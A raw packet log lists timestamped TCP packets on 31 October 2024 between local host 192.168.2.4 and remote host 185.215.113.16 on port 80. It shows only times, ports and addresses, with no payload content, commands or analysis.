Oct 31, 2024 05:06:34.647676945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.647700071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.647702932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.647715092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.647726059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.647753954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.647766113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.647778034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.647789001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.647813082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.647845030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648097038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648108006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648118019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648145914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648174047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648185968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648196936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648210049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648224115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648224115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648247957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648258924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648266077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648268938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648274899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648293972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648305893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648315907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648319006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648329020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648339987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648354053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648364067 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648390055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648507118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648519039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648536921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648559093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648561001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648572922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648590088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648603916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648617029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648634911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648636103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648648977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648658991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648679972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648684025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648695946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648705006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648706913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648722887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648737907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648775101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648789883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648808002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648823977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648833990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648845911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648876905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.648905039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648942947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648952007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.648978949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.649019003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.649032116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.649041891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.649063110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.649089098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.649358034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.649411917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.649457932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.649461031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.649472952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.649507999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.649513960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.649528027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.649573088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.650326014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650371075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650382042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650422096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650434017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650444984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650448084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.650474072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.650500059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.650502920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650513887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650548935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650557995 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.650562048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650590897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650602102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650614023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.650643110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.650887012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650899887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650909901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.650933981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.650985956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651005030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651015043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651031017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651056051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651066065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651067019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651077986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651104927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651242018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651256084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651278019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651282072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651288986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651299953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651319981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651343107 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651384115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651395082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651406050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651427031 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651490927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651501894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651513100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651532888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651540995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651554108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651561975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651565075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651578903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651592970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651603937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651645899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651657104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651669979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651681900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651689053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651699066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651711941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651719093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651721954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651735067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651758909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651772022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651787996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651793003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651812077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651823044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651834965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651838064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651849031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651866913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651892900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651901960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651917934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651927948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651938915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651964903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651974916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.651978970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.651992083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652000904 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652003050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652043104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652065039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652070999 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652101040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652142048 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652148962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652163029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652174950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652185917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652200937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652232885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652254105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652276993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652287960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652298927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652311087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652313948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652340889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652384996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652395964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652429104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652502060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652514935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652525902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652535915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652543068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652579069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652587891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652591944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652606010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652616978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652622938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652646065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652657032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652661085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652689934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652856112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652868986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652880907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652893066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.652900934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.652925014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.697324991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.775633097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775662899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775675058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775712013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.775748014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775760889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775773048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775811911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775824070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.775830984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775841951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775852919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775865078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775876045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775881052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.775890112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775918007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.775926113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775937080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775948048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775962114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.775964975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.775986910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.775989056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776007891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776020050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776030064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776030064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776062012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776067019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776079893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776089907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776103020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776124001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776156902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776165962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776169062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776182890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776204109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776211977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776222944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776232958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776236057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776246071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776259899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776268005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776294947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776289940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776309967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776321888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776333094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776345968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776381016 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776405096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776416063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776426077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776452065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776454926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776479006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776484966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776495934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776505947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776515961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776525974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776547909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776552916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776560068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776571989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776582956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776593924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776603937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776607037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776617050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776628971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776638985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776642084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776674986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776695967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.776810884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776956081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776978970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776994944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.776998043 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.777010918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.777025938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.777036905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.777039051 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.777050018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.777060986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.777071953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.777071953 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.777084112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.777096033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.777103901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.777107954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.777131081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.777158976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.786149025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.899904013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.899920940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.899931908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.899966955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.899979115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.899988890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900010109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900010109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900023937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900033951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900039911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900044918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900058031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900064945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900085926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900216103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900263071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900265932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900274992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900315046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900340080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900353909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900377035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900388002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900393963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900398970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900410891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900422096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900443077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900475025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:34.900516033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900526047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900535107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:34.900546074 CET	80	49744	185.215.113.16	192.168.2.4
